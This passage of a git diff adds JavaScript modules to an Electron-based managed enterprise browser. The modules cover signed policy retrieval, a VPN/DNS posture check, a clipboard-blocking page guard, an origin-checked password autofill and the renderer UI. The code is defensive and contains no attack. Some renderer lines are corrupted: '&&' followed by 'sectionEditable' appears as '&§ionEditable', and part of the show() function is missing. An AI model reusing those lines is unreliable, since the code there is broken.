{available,visible,hiddenSections:[...hiddenSections],lockedSections:[...lockedSections],appearance:{...DEFAULT_APPEARANCE,...rules.appearance,...(forced?{}:preferences)}}; +} +function sectionVisible(state,section){return SECTIONS.includes(section)&&state.available&&state.visible&&!state.hiddenSections.includes(section);} +function sectionAllowed(state,section){return sectionVisible(state,section)&&!state.lockedSections.includes(section);} +function featureAllowed(state,section){return SECTIONS.includes(section)&&state.available&&!state.hiddenSections.includes(section)&&!state.lockedSections.includes(section);} +function requireFeature(state,section){if(!featureAllowed(state,section))throw Error('This feature is controlled by your administrator');} +function requireSection(state,section){if(!sectionAllowed(state,section))throw Error('This setting is controlled by your administrator');} +function validateAppearance(input){ + if(!input||typeof input!=='object'||Array.isArray(input)||Object.keys(input).some(key=>!Object.hasOwn(DEFAULT_APPEARANCE,key))||!Object.keys(input).length)throw Error('Invalid appearance settings'); + const values={mode:['system','light','dark'],accent:['blue','teal','violet'],tabMode:['separate','compact']}; + for(const [key,value] of Object.entries(input))if(!values[key].includes(value))throw Error('Invalid appearance settings'); + return {...input}; +} +module.exports={settingsState,sectionVisible,sectionAllowed,featureAllowed,requireFeature,requireSection,validateAppearance}; diff --git a/apps/browser/management-channel.cjs b/apps/browser/management-channel.cjs new file mode 100644 index 0000000..336ea52 --- /dev/null +++ b/apps/browser/management-channel.cjs @@ -0,0 +1,19 @@ +'use strict'; +const channel=require('../../packages/core/policy-channel.cjs'); +const fs=require('node:fs'); +function deploymentPin(){if(process.env.SAFETYNET_REQUIRE_CHANNEL_PIN==='true'&&!process.env.SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE)throw Error('Deployment requires a protected management signing pin');return process.env.SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE?fs.readFileSync(process.env.SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE,'utf8').trim():undefined;} +async function protectedPolicyRequest({device,request,save}){ + const pin=deploymentPin();if(pin&&device.channelSignatureKey&&device.channelSignatureKey.trim()!==pin)throw Error('Protected management signing pin mismatch'); + if(!device.channelSignatureKey){ + // One-time legacy migration is authenticated by the enrollment signing pin and HTTPS. + const identity=await request(device.server,'/api/device/channel/identity',null,device.token); + channel.verifyIdentity(identity,device.publicKey);if(pin&&identity.signatureKey.trim()!==pin)throw Error('Protected management signing pin mismatch'); + device.channelSignatureKey=identity.signatureKey;save(device); + } + const challenge=await request(device.server,'/api/device/channel/challenge',{},device.token); + channel.verifyChallenge(challenge,device.id,device.publicKey,device.channelSignatureKey); + const context=channel.prepare(challenge); + try{const response=await request(device.server,'/api/device/channel/policy',context.request,device.token);return channel.finish(response,challenge,context);} + finally{context.responseKey.fill(0);} +} +module.exports={protectedPolicyRequest,deploymentPin}; diff --git a/apps/browser/network-posture.cjs b/apps/browser/network-posture.cjs new file mode 100644 index 0000000..5a9a5db --- /dev/null +++ b/apps/browser/network-posture.cjs @@ -0,0 +1,34 @@ +'use strict'; +const {execFile}=require('node:child_process'); +const path=require('node:path'); +const net=require('node:net'); +// No administrator input is interpolated into PowerShell. Adapter matching happens +// after bounded JSON parsing; the deployment cannot turn names into shell code. +const postureScript="$ErrorActionPreference='Stop'; $dnsRecords=@(Get-DnsClientServerAddress -ErrorAction Stop); $adapters=@(Get-NetAdapter -IncludeHidden | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { $adapter=$_; $dns=@($dnsRecords | Where-Object {$_.InterfaceIndex -eq $adapter.ifIndex} | ForEach-Object {$_.ServerAddresses}); [pscustomobject]@{name=$adapter.Name; dns=$dns} }); ConvertTo-Json -InputObject $adapters -Depth 4 -Compress"; +function resolverOptions(dns={mode:'system',templates:[]}){ + if(dns.mode==='system')return {enableBuiltInResolver:false,secureDnsMode:'off',secureDnsServers:[]}; + if(dns.mode!=='secure'||!Array.isArray(dns.templates)||!dns.templates.length||dns.templates.length>8)throw Error('Managed DNS configuration is invalid'); + for(const template of dns.templates){const u=new URL(template.replace('{?dns}',''));if(u.protocol!=='https:'||u.username||u.password||u.hash)throw Error('Managed DNS requires HTTPS templates');} + return {enableBuiltInResolver:true,secureDnsMode:'secure',secureDnsServers:[...dns.templates]}; +} +function evaluatePosture(vpn,adapters){ + if(!vpn?.required)return {allowed:true,reason:'not-required'}; + if(!Array.isArray(vpn.interfaceNames)||!vpn.interfaceNames.length||!Array.isArray(vpn.requiredDnsServers)||vpn.requiredDnsServers.some(ip=>!net.isIP(ip)))return {allowed:false,reason:'configuration-invalid'}; + if(!Array.isArray(adapters)||adapters.length>256)return {allowed:false,reason:'probe-invalid'}; + const matches=adapters.filter(a=>typeof a?.name==='string'&&Array.isArray(a.dns)&&vpn.interfaceNames.some(name=>name.toLowerCase()===a.name.toLowerCase())); + return matches.some(a=>vpn.requiredDnsServers.every(ip=>a.dns.some(found=>typeof found==='string'&&found.toLowerCase()===ip.toLowerCase())))?{allowed:true,reason:'approved-interface-present'}:{allowed:false,reason:'required-interface-or-dns-missing'}; +} +function probeWindows({platform=process.platform,run=execFile}={}){ + if(platform!=='win32')return Promise.reject(Error('Network posture is available only on Windows')); + const executable=path.join(process.env.SystemRoot||'C:\\Windows','System32','WindowsPowerShell','v1.0','powershell.exe'); + return new Promise((resolve,reject)=>run(executable,['-NoLogo','-NoProfile','-NonInteractive','-Command',postureScript],{windowsHide:true,timeout:10000,maxBuffer:65536,encoding:'utf8'},(error,stdout)=>{ + if(error)return reject(Error('Network posture probe unavailable')); + try{const value=JSON.parse(stdout.replace(/^\uFEFF/,''));if(!Array.isArray(value))throw Error();resolve(value);}catch{reject(Error('Network posture response invalid'));} + })); +} +function createNetworkPosture({probe=probeWindows}={}){ + let pending; + return {async check(vpn){if(!vpn?.required)return {allowed:true,reason:'not-required'};if(!pending)pending=Promise.resolve().then(probe).finally(()=>{pending=null;});try{return evaluatePosture(vpn,await pending);}catch{return {allowed:false,reason:'probe-unavailable'};}}}; +} +module.exports={resolverOptions,evaluatePosture,probeWindows,createNetworkPosture}; + diff --git a/apps/browser/page-clipboard-guard.cjs b/apps/browser/page-clipboard-guard.cjs new file mode 100644 index 0000000..0747d03 --- /dev/null +++ b/apps/browser/page-clipboard-guard.cjs @@ -0,0 +1,55 @@ +'use strict'; +// This capability stays in the main process. Neither pages nor agents receive CDP access. +const owners=new WeakMap(); +function protectClipboardPrimitives(){ + const prototype=Document.prototype,existing=Object.getOwnPropertyDescriptor(prototype,'execCommand'); + if(existing?.value?._managedClipboardGuard===true&&!existing.configurable)return; + const original=prototype.execCommand,apply=Reflect.apply,test=RegExp.prototype.test.bind(/^(copy|cut|paste)/i); + function managedClipboardCommand(command,...args){ + if(typeof command!=='string'||test(command))return false; + return apply(original,this,[command,...args]); + } + Object.defineProperty(managedClipboardCommand,'_managedClipboardGuard',{value:true}); + Object.defineProperty(prototype,'execCommand',{value:managedClipboardCommand,writable:false,configurable:false}); + const SecurityException=DOMException; + const denyReplacement=()=>{throw new SecurityException('Managed document replacement is disabled','SecurityError');}; + for(const name of ['open','write','writeln'])Object.defineProperty(prototype,name,{value:denyReplacement,writable:false,configurable:false}); + const deny=event=>{event.preventDefault();event.stopImmediatePropagation();}; + for(const name of ['copy','cut','paste','dragstart','dragover','drop'])window.addEventListener(name,deny,true); + const transferred=RegExp.prototype.test.bind(/^(insertFromPaste|insertFromDrop|deleteByCut)/); + window.addEventListener('beforeinput',event=>{if(transferred(event.inputType||''))deny(event);},true); +} +const source=`(${protectClipboardPrimitives.toString()})();`; +function deadline(operation){let timer;return Promise.race([operation,new Promise((_,reject)=>{timer=setTimeout(()=>reject(Error('Page security initialization timed out')),5000);})]).finally(()=>clearTimeout(timer));} +async function attachPageClipboardGuard(contents,onFailure){ + const api=contents.debugger; + if(!api||api.isAttached()||owners.has(contents))throw Error('Page security initialization unavailable'); + const owner={api,healthy:false}; + const detached=()=>{owners.delete(contents);owner.healthy=false;if(!contents.isDestroyed())onFailure();}; + owner.detached=detached; + api.on('detach',detached); + try{ + api.attach('1.3'); + await deadline(api.sendCommand('Page.enable',{})); + const registration=await deadline(api.sendCommand('Page.addScriptToEvaluateOnNewDocument',{source})); + if(typeof registration?.identifier!=='string'||!registration.identifier||!api.isAttached())throw Error('Page security initialization failed'); + owner.healthy=true;owners.set(contents,owner); + }catch{ + api.removeListener('detach',detached); + if(api.isAttached())api.detach(); + throw Error('Page security initialization failed'); + } +} +function guardedScreenshot(contents,parameters){ + const owner=owners.get(contents); + if(!owner)return null; + if(!owner.healthy||owner.api!==contents.debugger||!owner.api.isAttached())throw Error('Page security connection unavailable'); + // Only the fixed screenshot command is shared. There is no general command dispatcher. + return owner.api.sendCommand('Page.captureScreenshot',parameters); +} +function disposePageClipboardGuard(contents){ + const owner=owners.get(contents);if(!owner)return; + owners.delete(contents);owner.healthy=false;owner.api.removeListener('detach',owner.detached); + if(owner.api.isAttached())owner.api.detach(); +} +module.exports={attachPageClipboardGuard,guardedScreenshot,disposePageClipboardGuard}; diff --git a/apps/browser/password-fill.cjs b/apps/browser/password-fill.cjs new file mode 100644 index 0000000..a1f8307 --- /dev/null +++ b/apps/browser/password-fill.cjs @@ -0,0 +1,44 @@ +'use strict'; +// Runs only in the isolated main-frame world. No arbitrary selectors or scripts from callers. +function fillDocument(expectedUrl,origin,username,password,expiresAt){ + if(Date.now()>=expiresAt||window.top!==window||!window.isSecureContext||location.href!==expectedUrl||location.origin!==origin)throw Error('Login destination changed'); + const visible=element=>{ + const style=getComputedStyle(element); + return !element.disabled&&!element.readOnly&&!element.closest('[hidden],[inert],[aria-hidden="true"]')&&style.display!=='none'&&style.visibility!=='hidden'&&Number(style.opacity)!==0&&element.getClientRects().length>0; + }; + const passwords=[...document.querySelectorAll('input[type="password"]')].filter(element=>visible(element)&&element.autocomplete!=='new-password'); + if(passwords.length!==1)throw Error('A single visible login password field is required'); + const target=passwords[0],form=target.form; + if(!form||form.method.toLowerCase()!=='post'||!['','_self'].includes(form.target.toLowerCase()))throw Error('A same-window POST login form is required'); + const action=new URL(form.action||location.href,location.href); + if(action.protocol!=='https:'||action.origin!==origin||action.username||action.password)throw Error('Login form sends to a different destination'); + for(const control of [...(form.elements||form.querySelectorAll('button,input'))]){ + if(control.disabled||typeof control.getAttribute!=='function')continue; + const actionOverride=control.getAttribute('formaction'),methodOverride=control.getAttribute('formmethod'),targetOverride=control.getAttribute('formtarget'); + if(actionOverride!==null){const destination=new URL(actionOverride||location.href,location.href);if(destination.protocol!=='https:'||destination.origin!==origin||destination.username||destination.password)throw Error('Login submit destination differs');} + if(methodOverride!==null&&methodOverride.toLowerCase()!=='post')throw Error('Login submit method differs'); + if(targetOverride!==null&&!['','_self'].includes(targetOverride.toLowerCase()))throw Error('Login submit window differs'); + } + const inputs=[...form.querySelectorAll('input')].filter(element=>visible(element)&&['text','email'].includes(element.type)); + const named=inputs.filter(element=>element.autocomplete==='username'||/^(?:username|user|email|login)$/i.test(element.name||element.id)); + const candidates=named.length?named:inputs; + if(username&&candidates.length!==1)throw Error('A single login username field is required'); + const user=username?candidates[0]:null; + if(user&&user.form!==form)throw Error('Login fields belong to different forms'); + const setter=Object.getOwnPropertyDescriptor(HTMLInputElement.prototype,'value').set; + // Recheck inside the target renderer, after queued native dispatch. A hidden + // or blurred document must not receive credentials after a tab switch. + if(document.visibilityState!=='visible'||!document.hasFocus())throw Error('Login tab is no longer foreground'); + // Set both values before dispatching events: page handlers cannot move focus between writes. + if(user)setter.call(user,username);setter.call(target,password); + if(user)user.dispatchEvent(new Event('input',{bubbles:true})); + target.dispatchEvent(new Event('input',{bubbles:true})); + return {completed:true}; +} +function fillScript(expectedUrl,credential,expiresAt=Date.now()+10000){ + const url=new URL(expectedUrl); + if(url.protocol!=='https:'||url.username||url.password||url.origin!==credential.origin)throw Error('Saved login requires its exact HTTPS origin'); + if(!Number.isFinite(expiresAt)||expiresAt<=Date.now())throw Error('Password policy expired'); + return `(${fillDocument.toString()})(${JSON.stringify(url.href)},${JSON.stringify(credential.origin)},${JSON.stringify(credential.username)},${JSON.stringify(credential.password)},${JSON.stringify(expiresAt)})`; +} +module.exports={fillDocument,fillScript}; diff --git a/apps/browser/policy-assignment.cjs b/apps/browser/policy-assignment.cjs new file mode 100644 index 0000000..b3ede05 --- /dev/null +++ b/apps/browser/policy-assignment.cjs @@ -0,0 +1,10 @@ +'use strict'; +// Check the signed effective policy before any enrollment state or browser +// settings are committed. A valid fleet signature alone is not device binding. +function assertPolicyAssignment(policy, deviceId) { + if (policy.assignment && policy.assignment.deviceId !== deviceId) { + throw Error('Policy device assignment rejected'); + } + return policy; +} +module.exports = {assertPolicyAssignment}; diff --git a/apps/browser/preload.cjs b/apps/browser/preload.cjs new file mode 100644 index 0000000..9511d1d --- /dev/null +++ b/apps/browser/preload.cjs @@ -0,0 +1,33 @@ +const { contextBridge, ipcRenderer } = require('electron'); +contextBridge.exposeInMainWorld('safetynet', { + mutateBookmarks:input=>ipcRenderer.invoke('managed:bookmarks-mutate',input), + state:()=>ipcRenderer.invoke('managed:state'), + authorizeSetting:section=>ipcRenderer.invoke('managed:authorize-setting',section), + updateSettings:input=>ipcRenderer.invoke('managed:settings-update',input), + windowControls:action=>ipcRenderer.invoke('managed:window-control',action), + setChromeLayout:input=>ipcRenderer.invoke('managed:chrome-layout',input), + shareURL:()=>ipcRenderer.invoke('managed:share-url'), + enroll:input=>ipcRenderer.invoke('managed:enroll',input), + sso:input=>ipcRenderer.invoke('managed:sso',input), + navigate:url=>ipcRenderer.invoke('managed:navigate',url), + createTab:input=>ipcRenderer.invoke('managed:tab-create',input), + activateTab:id=>ipcRenderer.invoke('managed:tab-activate',id), + closeTab:id=>ipcRenderer.invoke('managed:tab-close',id), + groupTab:input=>ipcRenderer.invoke('managed:tab-group',input), + back:()=>ipcRenderer.invoke('managed:back'),forward:()=>ipcRenderer.invoke('managed:forward'),reload:()=>ipcRenderer.invoke('managed:reload'), + ai:prompt=>ipcRenderer.invoke('managed:ai',prompt), + inspectFile:()=>ipcRenderer.invoke('managed:inspect-file'), + agentConnection:()=>ipcRenderer.invoke('managed:agent-connection'), + toggleAI:open=>ipcRenderer.invoke('managed:ai-panel',open), + toggleVault:open=>ipcRenderer.invoke('managed:vault-panel',open), + vaultStatus:()=>ipcRenderer.invoke('managed:vault-status'), + vaultCreate:master=>ipcRenderer.invoke('managed:vault-create',master), + vaultUnlock:master=>ipcRenderer.invoke('managed:vault-unlock',master), + vaultLock:()=>ipcRenderer.invoke('managed:vault-lock'), + vaultList:()=>ipcRenderer.invoke('managed:vault-list'), + vaultSave:entry=>ipcRenderer.invoke('managed:vault-save',entry), + vaultDelete:id=>ipcRenderer.invoke('managed:vault-delete',id), + vaultFill:id=>ipcRenderer.invoke('managed:vault-fill',id), + vaultGenerate:()=>ipcRenderer.invoke('managed:vault-generate'), + onState:callback=>{const listener=(_event,data)=>callback(data);ipcRenderer.on('managed:state',listener);return()=>ipcRenderer.removeListener('managed:state',listener);} +}); diff --git a/apps/browser/renderer.js b/apps/browser/renderer.js new file mode 100644 index 0000000..6b9b7c5 --- /dev/null +++ b/apps/browser/renderer.js @@ -0,0 +1,198 @@ +const $=id=>document.getElementById(id);let panel=false,vaultPanel=false,lastState,vaultState,vaultBusy=false,vaultRevision=0; +let sidebarOpen=false,startPageOpen=false,overviewOpen=false,tabs=[],activeTab=null,groupFilter='',navigationRevision=0,pendingNavigation=null,lastLayoutKey='',lastTabsKey='',lastLibraryKey='',nativeTabsRevision=-1; +const preference=(key,fallback)=>{try{return JSON.parse(localStorage.getItem(`sbrowser.${key}`))??fallback;}catch{return fallback;}}; +const remember=(key,value)=>{try{localStorage.setItem(`sbrowser.${key}`,JSON.stringify(value));}catch{}}; +const safeURL=value=>{try{const u=new URL(value);if(!['https:','http:'].includes(u.protocol)||u.username||u.password)return null;u.search='';u.hash='';return u.href;}catch{return null;}}; +const metadata=list=>Array.isArray(list)?list.slice(0,100).filter(v=>v&&safeURL(v.url)&&typeof v.title==='string').map(v=>({url:safeURL(v.url),title:v.title.slice(0,160)})):[]; +let bookmarks=[],readingList=metadata(preference('reading-list',[])),groups=preference('groups',[]);groups=Array.isArray(groups)?groups.filter(v=>typeof v==='string'&&v.length<=40).slice(0,20):[]; +function currentTab(){return tabs.find(t=>t.id===activeTab)||{id:null,url:'',title:'New Tab',group:'',startPage:true};} +async function updateChrome(){ + document.body.classList.toggle('sidebar-open',sidebarOpen);if($('library'))$('library').hidden=!sidebarOpen;if($('start-page'))$('start-page').hidden=!startPageOpen||overviewOpen||!lastState?.ready;if($('overview'))$('overview').hidden=!overviewOpen||!lastState?.ready; + for(const id of ['bookmark','reading-add','share-url'])if($(id))$(id).disabled=!lastState?.ready||startPageOpen||overviewOpen||!currentTab().url||(id==='bookmark'&&(!sectionEditable('library')||!lastState?.bookmarks?.allowUserAdd))||(id==='reading-add'&&!sectionEditable('library')); + const height=Math.ceil($('chrome')?.getBoundingClientRect().bottom||104),layout={height,sidebarOpen,startPageOpen:startPageOpen&&!!lastState?.ready,overviewOpen:overviewOpen&&!!lastState?.ready,toolsOpen:!!($('tools-menu')&&!$('tools-menu').hidden)||!!$('bookmark-editor')?.open},key=JSON.stringify(layout);document.documentElement.style.setProperty('--chrome-height',`${height}px`);if(window.safetynet.setChromeLayout&&key!==lastLayoutKey){lastLayoutKey=key;try{await call('setChromeLayout',layout);}catch(e){lastLayoutKey='';throw e;}} +} +async function navigateTab(value){ + const token=++navigationRevision,tab=currentTab();if(!tab.id)throw Error('No managed tab is available');pendingNavigation={token,tabId:tab.id};overviewOpen=false; + try{const result=await call('navigate',{url:value,tabId:tab.id});if(token===navigationRevision)show(result);} + finally{if(pendingNavigation?.token===token)pendingNavigation=null;} +} +// Native WebContents own identity, history and lifetime. Switching never reloads a URL. +async function selectTab(id){if(!tabs.some(t=>t.id===id))return;navigationRevision++;overviewOpen=false;show(await call('activateTab',id));$('address').value=currentTab().startPage?'':currentTab().url;await updateChrome();} +async function newTab(){navigationRevision++;overviewOpen=false;show(await call('createTab',{group:groupFilter}));$('address').value=currentTab().startPage?'':currentTab().url;await updateChrome();$('address').focus();} +async function closeTab(id){if(!tabs.some(t=>t.id===id))return;navigationRevision++;const previous=activeTab;show(await call('closeTab',id));if(previous!==activeTab)$('address').value=currentTab().startPage?'':currentTab().url;await updateChrome();} +function button(text,fn,cls=''){const b=document.createElement('button');b.type='button';b.className=cls;b.textContent=text;b.onclick=task(fn);return b;} +function renderTabs(){ + const strip=$('tab-strip');if(!strip)return;const key=JSON.stringify({tabs,activeTab,groupFilter,ready:!!lastState?.ready});if(key===lastTabsKey)return;lastTabsKey=key;strip.replaceChildren();for(const tab of tabs.filter(t=>!groupFilter||t.group===groupFilter)){ + const el=document.createElement('div');el.className=`browser-tab${tab.id===activeTab?' active':''}`;el.setAttribute('role','tab');el.setAttribute('aria-selected',String(tab.id===activeTab));el.title=tab.url||'New Tab'; + const select=button(tab.title||'New Tab',()=>selectTab(tab.id),'tab-label'),close=button('×',()=>closeTab(tab.id),'tab-close');close.setAttribute('aria-label',`Close ${tab.title}`);select.disabled=!lastState?.ready;close.disabled=!lastState?.ready;el.dataset.tabId=tab.id;el.append(select,close);strip.append(el);} + if($('overview-grid')){$('overview-grid').replaceChildren();for(const tab of tabs){const card=button('',()=>selectTab(tab.id),'overview-card');const title=document.createElement('strong'),url=document.createElement('span');title.textContent=tab.title;url.textContent=safeURL(tab.url)||'Favorites and a fresh start';card.append(title,url);$('overview-grid').append(card);}} +} +function renderLinks(id,items){if(!$(id))return;$(id).replaceChildren();for(const item of items){const b=button('',()=>navigateTab(item.url),'favorite-card');const initial=document.createElement('span'),label=document.createElement('strong');initial.className='favorite-icon';initial.textContent=new URL(item.url).hostname.charAt(0).toUpperCase();label.textContent=item.title||new URL(item.url).hostname;if(item.managed){const badge=document.createElement('small');badge.textContent='Company';b.append(badge);}b.title=item.url;b.append(initial,label);$(id).append(b);}} +let bookmarkEditingId=null; +async function openBookmarkEditor(item){ + requireSection('library',true);const rules=lastState?.bookmarks; + if(item?.managed||!(item?rules?.allowUserEdit:rules?.allowUserAdd))throw Error('This bookmark is managed by your administrator'); + bookmarkEditingId=item?.id||null;$('bookmark-editor-title').textContent=item?'Edit bookmark':'Add bookmark'; + $('bookmark-title').value=(item?.title||lastState?.pageTitle||'New bookmark').slice(0,120);$('bookmark-url').value=item?.url||safeURL(lastState?.url)||'';$('bookmark-folder').value=item?.folder||''; + $('bookmark-editor-error').textContent='';$('bookmark-editor').showModal();await updateChrome();$('bookmark-title').focus(); +} +async function mutateBookmark(action,bookmark,id){ + const snapshot=lastState;const result=await call('mutateBookmarks',{action,...(bookmark?{bookmark}:{}),...(id?{id}:{}),expectedRevision:snapshot.bookmarks.personal.revision,policyVersion:snapshot.policyVersion});show({...snapshot,...result}); +} +function renderBookmarkLibrary(){ + const target=$('library-bookmarks');target.replaceChildren(); + for(const [managed,label] of [[true,'Company bookmarks (managed)'],[false,'Your bookmarks']]){ + const heading=document.createElement('p');heading.className='bookmark-section-label';heading.textContent=label;target.append(heading); + let folder=null;for(const item of bookmarks.filter(item=>!!item.managed===managed).sort((a,b)=>(a.folder||'').localeCompare(b.folder||''))){ + if(item.folder&&item.folder!==folder){const group=document.createElement('small');group.textContent=item.folder;target.append(group);}folder=item.folder; + const row=document.createElement('div');row.className='bookmark-row';const link=button(item.title,()=>navigateTab(item.url),'bookmark-link');link.title=item.url;row.append(link); + if(!managed&§ionEditable('library')){if(lastState?.bookmarks?.allowUserEdit){const edit=button('Edit',()=>openBookmarkEditor(item),'bookmark-action');edit.setAttribute('aria-label',`Edit ${item.title}`);row.append(edit);}if(lastState?.bookmarks?.allowUserDelete){const remove=button('Remove',()=>mutateBookmark('delete',null,item.id),'bookmark-action');remove.setAttribute('aria-label',`Remove ${item.title}`);row.append(remove);}} + target.append(row); + } + } + const legacy=metadata(preference('bookmarks',[])); + if(legacy.length&§ionVisible('library')){const heading=document.createElement('p');heading.className='bookmark-section-label';heading.textContent='Previous local bookmarks';target.append(heading);const note=document.createElement('small');note.textContent='These existing links remain local. Add them to your bookmarks to sync them when company policy permits.';target.append(note);for(const item of legacy){const link=button(item.title,()=>navigateTab(item.url),'bookmark-link');link.title=item.url;target.append(link);}} +} +$('bookmark-cancel').onclick=()=>$('bookmark-editor').close(); +$('bookmark-editor').addEventListener('close',()=>updateChrome().catch(()=>{})); +$('bookmark-form').onsubmit=async event=>{event.preventDefault();const submit=$('bookmark-save');submit.disabled=true;try{ + requireSection('library',true);await mutateBookmark(bookmarkEditingId?'update':'add',{id:bookmarkEditingId||crypto.randomUUID(),title:$('bookmark-title').value,url:$('bookmark-url').value,folder:$('bookmark-folder').value});$('bookmark-editor').close(); +}catch(e){$('bookmark-editor-error').textContent=e.message;}finally{submit.disabled=false;}}; +function renderLibrary(){ + const key=JSON.stringify({bookmarks,bookmarkPermissions:lastState?.bookmarks,settings:lastState?.settings,readingList,groups,tabs,activeTab});if(key===lastLibraryKey)return;lastLibraryKey=key; + const favorites=sectionVisible('library')?bookmarks.slice(0,12):[];renderLinks('favorites-grid',favorites);renderLinks('library-favorites',favorites);renderBookmarkLibrary();renderLinks('library-reading',readingList); + if($('library-groups')){$('library-groups').replaceChildren();$('library-groups').append(button('All tabs',()=>{groupFilter='';renderTabs();},'group-item'));for(const group of groups)$('library-groups').append(button(group,()=>{groupFilter=group;renderTabs();},'group-item'));} + if($('favorites-empty'))$('favorites-empty').hidden=!!favorites.length; + if($('library-tabs')){$('library-tabs').replaceChildren();for(const tab of tabs)$('library-tabs').append(button(tab.title,()=>selectTab(tab.id),`library-tab${tab.id===activeTab?' active':''}`));} + renderLinks('recent-list',tabs.filter(t=>t.url).slice(-5).map(t=>({url:safeURL(t.url),title:t.title})).filter(t=>t.url)); +} +const systemAppearance=window.matchMedia('(prefers-color-scheme: dark)'); +const systemIsDark=()=>window.matchMedia('(prefers-color-scheme: dark)').matches; +const accentPresets={blue:{base:'#0969da',light:'#0969da',dark:'#75baff'},teal:{base:'#007d76',light:'#00736d',dark:'#6cdbca'},violet:{base:'#7042c1',light:'#7042c1',dark:'#c5a4ff'}}; +function applyAppearance(){ + // Appearance comes exclusively from the privileged process, including unlocked saved choices. + const appearance=lastState?.settings?.appearance||{mode:'system',accent:'blue',tabMode:'separate'},theme=appearance.mode==='system'?'auto':appearance.mode,mode=appearance.tabMode; + const effective=theme==='auto'?(systemIsDark()?'dark':'light'):theme,savedAccent=appearance.accent,accent=typeof savedAccent==='string'&&Object.hasOwn(accentPresets,savedAccent)?savedAccent:'blue'; + document.documentElement.dataset.theme=theme;document.documentElement.dataset.effectiveTheme=effective;document.documentElement.dataset.accent=accent;document.documentElement.dataset.tabMode=mode==='compact'?'compact':'separate'; + document.body.dataset.theme=effective;document.body.dataset.tabMode=document.documentElement.dataset.tabMode;document.documentElement.style.colorScheme=effective; + document.documentElement.style.setProperty('--accent',accentPresets[accent].base);document.documentElement.style.setProperty('--accent-text',accentPresets[accent][effective]); + if($('theme-mode'))$('theme-mode').value=theme;if($('tab-mode'))$('tab-mode').value=document.documentElement.dataset.tabMode;if($('accent-mode'))$('accent-mode').value=accent; + if($('theme-status'))$('theme-status').textContent=theme==='auto'?`System · ${effective==='dark'?'Dark':'Light'}. Changes follow your device.`:`${effective==='dark'?'Dark':'Light'} theme · browser workspace only.`; + updateChrome().catch(()=>{}); +} +systemAppearance.addEventListener('change',()=>{if((!lastState?.settings||lastState.settings.appearance.mode==='system'))applyAppearance();}); +function refreshSystemAppearance(){if((!lastState?.settings||lastState.settings.appearance.mode==='system')&&document.body.dataset.theme!==(systemIsDark()?'dark':'light'))applyAppearance();} +window.addEventListener('focus',refreshSystemAppearance); +document.addEventListener('visibilitychange',()=>{if(!document.hidden)refreshSystemAppearance();}); +// Some Windows compositor/theme transitions update the query without a change event. +setInterval(refreshSystemAppearance,1000); + + +// Hidden controls are removed from keyboard navigation as well as visual presentation. +// Native IPC repeats every check: DOM visibility is never the security boundary. +function sectionVisible(name){const settings=lastState?.settings;return !!settings?.available&&(settings.visible||['library','ai','passwords','documentScan','agents'].includes(name))&&!settings.hiddenSections.includes(name);} +function sectionEditable(name){return sectionVisible(name)&&(name!=='library'||lastState.settings.visible)&&!lastState.settings.lockedSections.includes(name);} +function requireSection(name,edit=false){if(!(edit?sectionEditable(name):sectionVisible(name)))throw Error('This action is managed by your administrator.');} +function applyManagedSettings(){ + const settings=lastState?.settings,visible=!!settings?.available&&settings.visible; + $('tools-toggle').hidden=!visible;$('tools-toggle').disabled=!visible; + if(!visible){$('tools-menu').hidden=true;$('tools-toggle').setAttribute('aria-expanded','false');} + const sections={appearance:['appearance-section'],library:['bookmark','reading-add','sidebar-toggle'],ai:['ai-toggle','sidebar'],passwords:['passwords'],documentScan:['inspect'],agents:['agents']}; + for(const [name,ids] of Object.entries(sections))for(const id of ids){const el=$(id);if(!el)continue;el.hidden=!sectionVisible(name);if(!sectionVisible(name)||(['library','ai','passwords','documentScan','agents'].includes(name)&&!sectionEditable(name)))el.disabled=true;} + for(const id of ['theme-mode','accent-mode','tab-mode'])$(id).disabled=!sectionEditable('appearance'); + for(const id of ['bookmark','reading-add','group-add','group-name'])if($(id))$(id).disabled=!sectionEditable('library')||!lastState?.ready||(id==='bookmark'&&!lastState?.bookmarks?.allowUserAdd); + $('send').disabled=!lastState?.aiEnabled||!sectionEditable('ai');$('prompt').disabled=!sectionEditable('ai'); + for(const [quick,original,name,enabled] of [['quick-ai','ai-toggle','ai',lastState?.aiEnabled],['quick-passwords','passwords','passwords',lastState?.ready&&lastState?.passwordManagerEnabled!==false],['quick-inspect','inspect','documentScan',lastState?.documentScanEnabled],['quick-agents','agents','agents',lastState?.agentsEnabled]]){const el=$(quick);el.hidden=visible||!sectionVisible(name)||!enabled;el.disabled=!sectionEditable(name)||!enabled;el.setAttribute('aria-expanded',$(original).getAttribute('aria-expanded')||'false');} + $('settings-managed').hidden=!sectionVisible('appearance')||sectionEditable('appearance'); + if(!sectionVisible('library')){sidebarOpen=false;$('sidebar-toggle').setAttribute('aria-expanded','false');} + if(!sectionEditable('ai')&&panel)closeAI().catch(()=>{}); + if(!sectionEditable('passwords')&&vaultPanel)closeVault().catch(()=>{}); + applyAppearance(); +} + +async function call(method,...args){const r=await window.safetynet[method](...args);if(!r.ok)throw Error(r.error);return r.data;} +function clearVaultFields(){for(const id of ['vault-master','vault-confirm','vault-password','vault-origin','vault-label','vault-username'])$(id).value='';} +async function closeVault(){vaultRevision++;vaultPanel=false;$('vault').hidden=true;$('passwords').setAttribute('aria-expanded','false');clearVaultFields();$('vault-list').replaceChildren();$('vault-add').open=false;await call('vaultLock');await call('toggleVault',false);} +async function closeAI(){panel=false;$('ai').hidden=true;for(const id of ['sidebar','ai-toggle'])$(id).setAttribute('aria-expanded','false');await call('toggleAI',false);} +async function openAI(){requireSection('ai',true);if(vaultPanel)await closeVault();panel=true;$('ai').hidden=false;for(const id of ['sidebar','ai-toggle'])$(id).setAttribute('aria-expanded','true');await call('toggleAI',true);} +function show(s){ + // A delayed invoke response must not replace a newer tab switch or navigation event. + if(Number.isSafeInteger(s.tabsRevision)&&s.tabsRevision({...item,managed:true})),...(s.bookmarks?.personal?.items||[])];if(!s.ready||!sectionEditable('library')||($('bookmark-editor').open&&!(bookmarkEditingId?s.bookmarks?.allowUserEdit:s.bookmarks?.allowUserAdd)))$('bookmark-editor').close();const brand=s.brand.name==='SafetyNet'?'S Browser':s.brand.name;$('brand').textContent=brand;document.title=brand;$('managed').textContent=s.ready?(s.loginCheckPending?'Login check required':`Managed · policy ${s.policyVersion}`):'Access paused';$('managed').parentElement.classList.toggle('paused',!s.ready); + $('welcome').hidden=s.ready;$('enrollment').hidden=s.enrolled;$('message').textContent=s.message; + 